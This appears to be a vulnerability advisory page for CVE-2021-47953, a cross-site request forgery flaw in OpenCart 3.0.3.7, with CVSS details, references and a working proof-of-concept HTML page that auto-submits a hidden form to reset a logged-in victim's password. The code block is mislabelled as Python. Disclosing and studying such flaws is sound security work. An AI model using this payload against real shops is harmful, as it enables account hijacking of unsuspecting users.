CVE-2021-47953

Description

OpenCart 3.0.3.7 contains a cross-site request forgery vulnerability that allows attackers to change user passwords by sending crafted requests to the account/password endpoint. Attackers can trick authenticated users into submitting hidden forms with new password values in the 'password' and 'confirm' parameters to hijack accounts.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenCart 3.0.3.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2021-47953 -->
<!-- Host this file on an attacker-controlled server -->
<html>
  <body>
    <form action="http://target-site.com/index.php?route=account/password" method="POST">
      <input type="hidden" name="password" value="attacker123" />
      <input type="hidden" name="confirm" value="attacker123" />
      <input type="submit" value="Click me" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47953
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47953
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47953/
[4] VulDB https://vuldb.com/cve/CVE-2021-47953
[5] https://www.exploit-db.com/exploits/49970
[6] https://www.vulncheck.com/advisories/opencart-cross-site-request-forgery-via-account-password

Raw JSON Data

JSON

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